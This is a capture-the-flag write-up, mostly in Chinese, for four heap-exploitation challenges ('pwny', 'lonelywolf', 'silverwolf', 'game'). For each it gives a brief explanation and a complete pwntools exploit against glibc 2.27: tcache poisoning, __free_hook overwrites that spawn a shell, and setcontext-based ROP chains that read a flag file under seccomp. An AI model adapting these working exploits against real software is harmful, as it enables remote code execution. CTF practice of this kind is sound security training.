Pwn challenges, including game, pwny, lonelywolf, silverwolf

Prologue

只要到了部分题这两天做了下希望还能跟上现在CTF比赛的节奏。

整体就思路上的难度不大,但是Seccomp为啥要出两题…

Pwny

Solution

题目逻辑很少,一个是Read一个是Write,Read因为地址是随机的所以不能用,只能看看Write,发现目标地址在bss上而且,urand的文件描述符也在bss上所以可以write覆盖为随机值,之后再次write会往上面写\0,之后就可以 read/write arbitrary addr 了。

Exploit

from pwn import *

def cmd(c):
    p.sendlineafter(": ",str(c))
def r(idx):
	cmd(1)
	p.sendafter(": ",p64(idx))
def w(idx):
	cmd(2)
	p.sendlineafter(": ",str(idx))
def do(idx,value):
	cmd(2)
	p.sendlineafter(": ",str(idx))
	p.send(p64(value))
p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
w(0x100)
w(0x100)
r(0x10000000000000000-4)
p.readuntil(": ")
base=int(p.readline(),16)-(0x00007ffff7dd0680-0x7ffff79e4000)
log.warning(hex(base))
r(0x10000000000000000-11)
p.readuntil(": ")
pie=int(p.readline(),16)-(8)
log.warning(hex(pie))
# double hook
libc=ELF("./libc-2.27.so")
libc.address=base
off=(libc.sym['__malloc_hook'])-(pie+0x60)
off=off//8
do(off,2+libc.sym['realloc'])

off=(libc.sym['__malloc_hook']-8)-(pie+0x60)
off=off//8
do(off,0x10a41c+base)

cmd("1"*4097)
p.interactive()

Lonelywolf

Solution

这个libc-2.27都变成这样我是没想到的,给的libc居然有key,我去试了一下发目前版本的ubuntu18.04的libc更新了是有key的,具体的 2.27-3ubuntu1.2 之后的我都发现了key,2.27-3ubuntu1 没有key机制。

不过绕过也很简单直接edit掉就行。

Exploit

from pwn import *

def cmd(c):
	p.sendlineafter(": ",str(c))
def add(size,c='A'):
	cmd(1)
  cmd(0)
	cmd(size)
def edit(c):
	cmd(2)
  cmd(0)
  p.sendlineafter(": ",str(c))
def show():
  cmd(3)
  cmd(0)
def free():
  cmd(4)
	cmd(0)

p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
add(0x68)
for x in range(8):
    free()
    edit("\0"*0x10)

add(0x78)
for x in range(8):
    free()
    edit("\0"*0x10)

add(0x18)
free()
# FS finished
cmd("1"*4097)
add(0x68)
show()
p.readuntil(": ")
base=u64(p.readline()[:-1]+'\0\0')-(0x7ffff7dcfd80-0x00007ffff79e4000)
log.warning(hex(base))
# Leak finished
add(0x78)
libc=ELF("./libc-2.27.so")
libc.address=base
free()
edit(p64(libc.sym['__free_hook']-8))
add(0x78)
add(0x78)
edit("/bin/sh\0"+p64(0x4f550+base))
free()
p.interactive()

Silverwolf

Solution

这题和上面的一毛一样,只是多了个seccomp只允许ORW

那就改 __free_hooksetcontext+0x35 ,之后rop完成ORW

Exploit

from pwn import *

def cmd(c):
    p.sendlineafter(": ",str(c))
def add(size,c='A'):
	cmd(1)
	cmd(0)
	cmd(size)
def edit(c):
	cmd(2)
	cmd(0)
	p.sendlineafter(": ",(c))
def show():
	cmd(3)
	cmd(0)
def free():
	cmd(4)
	cmd(0)

context.log_level='debug'
p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
cmd("1"*4097)
for x in range(7):
	add(0x18)
add(0x18)
show()
p.readuntil(": ")
base=u64(p.readline()[:-1]+'\0\0')-(4111536)
libc=ELF("./libc-2.27.so")
libc.address=base
# Set FS
add(0x78)
free()
edit(p64(libc.sym['__free_hook']+0x68))
add(0x78)
add(0x78)

# Two parts:
# One for __free_hook & __free_hook+8
# Two for the parameter of free which is also the parameter of setcontext
######################Part1################################
context.arch='amd64'
sys=libc.sym["getpid"]+5
leave=libc.sym['strfromf128']-0x51d
# RSP -> gadget of 'leave ret'
# Set __free_hook+8 ->leave is a good choice
rsp=libc.sym['__free_hook']+8
rdi=0
rsi=0x200+libc.sym['__free_hook']
rdx=0x200
rbp=rsi-8
rcx=sys
setcontext='\0'*0x68+flat([rdi,rsi,rbp,0,rdx,0,0,rsp,rcx])#len=22*8
######################Part2################################
rax=base+0x0000000000043ae8
rdi=base+0x00000000000215bf
rsi=base+0x0000000000023eea
rdx=base+0x0000000000001b96
filename_addr=libc.sym['__free_hook']+0x200+23*8
buf=libc.sym['__free_hook']+0x100
payload = flat([rax,2,rdi,filename_addr,rsi,0,rdx,0,sys])
payload += flat([rax,0,rdi,3,rsi,buf,rdx,0x50,sys])
payload += flat([rax,1,rdi,1,sys])+'/flag\0'
edit(setcontext[0x68:])
add(0x58)
free()
edit(p64(libc.sym['__free_hook']))
add(0x58)
add(0x58)
edit(p64(libc.sym['setcontext']+0x35)+p64(leave))
log.warning(hex(base))
free()
p.send(payload)
p.interactive()

Game

Solution

主要是逆向的工作,是一个可以创建地图和玩家的游戏,玩家可以在地图上走来走去,可以越界。发现是一个堆溢出+一个泄漏。不过还有seccomp依然和上题一样的绕过方法。

Exploit

from pwn import *
pay=''
def cmd():
    global pay
    p.readuntil("cmd> ")
    p.send(pay)
def des(c):
    p.readuntil("desc> ")
    p.send(c)
def reset(index,x_pos,y_pos):
    global pay
    for x in range(x_pos):
        pay="id:{}\nop:{}\n\n".format(index,7)
        cmd()
    for x in range(y_pos):
        pay="id:{}\nop:{}\n\n".format(index,5)
        cmd()
def atk(id):
    global pay
    pay="id:{}\nop:{}\n\n".format(id,8)
    cmd()
def set_byte(id,offset):
    global pay,heap
    pay="id:{}\ns:{}\nop:2\n\n".format(id,0x18)
    cmd()
    des("{}".format("A"))
    pay="op:4\n\n"
    cmd()
    p.readuntil("(")
    x_pos=int(p.readuntil(",")[:-1])
    y_pos=int(p.readuntil(") ")[:-2])
    if(id==0x91):
        heap=u64(p.readline()[:-1]+'\0\0')
        log.warning(hex(heap))

    reset(id,x_pos,y_pos)
    for x in range(0x50+offset):
        atk(id)

context.arch='amd64'
context.log_level='debug'
p=process("./pwn",env={"LD_PRELOAD":"./libc-2.27.so"})
pay="""l:16\nw:4\nop:1\n\n"""
cmd()
for x in range(1,9):
    pay="""id:{}\ns:136\nop:2\n\n""".format(x)
    cmd()
    des("{}".format(x))
for x in range(1,9):
    pay="id:{}\nop:3\n\n".format(x)
    cmd()
for x in range(1,3):
    pay="id:{}\ns:88\nop:2\n\n".format(x)
    cmd()
    des("{}".format(x))
pay="op:4\n\n"
cmd()
p.readuntil(") ")
base=u64(p.readline()[:-1]+'\0\0')-(0x7ffff7b88d32-0x00007ffff779d000)
log.warning(hex(base))

for x in range(1,3):
    pay="id:{}\nop:3\n\n".format(x)
    cmd()
#Clear
libc=ELF("./libc-2.27.so")
libc.address=base
heap=0

#set fd
hook=libc.sym['__free_hook']
slt=[]
log.warning(hex(hook))
for x in range(6):
    slt.append(hook&0xff)
    hook=hook>>8
#context.log_level='debug'
for x in range(6):
    set_byte(slt[5-x],5-x)
    print(x)
set_byte(0x91,-8)
leave=libc.sym['strfromf128']-0x51d

for x in range(8):
    pay="id:{}\ns:{}\nop:2\n\n".format(x+10,0x88)
    cmd()
    des("{}".format(p64(0x52145+base)+p64(leave)))

pay="id:{}\ns:{}\nop:2\n\n".format(0x69,0x200)
cmd()

sys=libc.sym["getpid"]+5
rdi=0
rsi=0x200+libc.sym['__free_hook']
rdx=0x200
rbp=rsi-8
rsp=libc.sym['__free_hook']+0x8
rcx=sys
setcontext='\0'*0x68+flat([rdi,rsi,rbp,0,rdx,0,0,rsp,rcx])

des(setcontext)

rax=base+0x0000000000043a78
rdi=base+0x000000000002155f
rsi=base+0x0000000000023e8a
rdx=base+0x0000000000001b96
filename_addr=libc.sym['__free_hook']+0x200+23*8
buf=libc.sym['__free_hook']+0x100

payload = flat([rax,2,rdi,filename_addr,rsi,0,rdx,0,sys])
payload += flat([rax,0,rdi,3,rsi,buf,rdx,0x50,sys])
payload += flat([rax,1,rdi,1,sys])+'/flag\0'

pay='id:{}\nop:3\n\n'.format(0x69)
cmd()
p.send(payload)
p.interactive()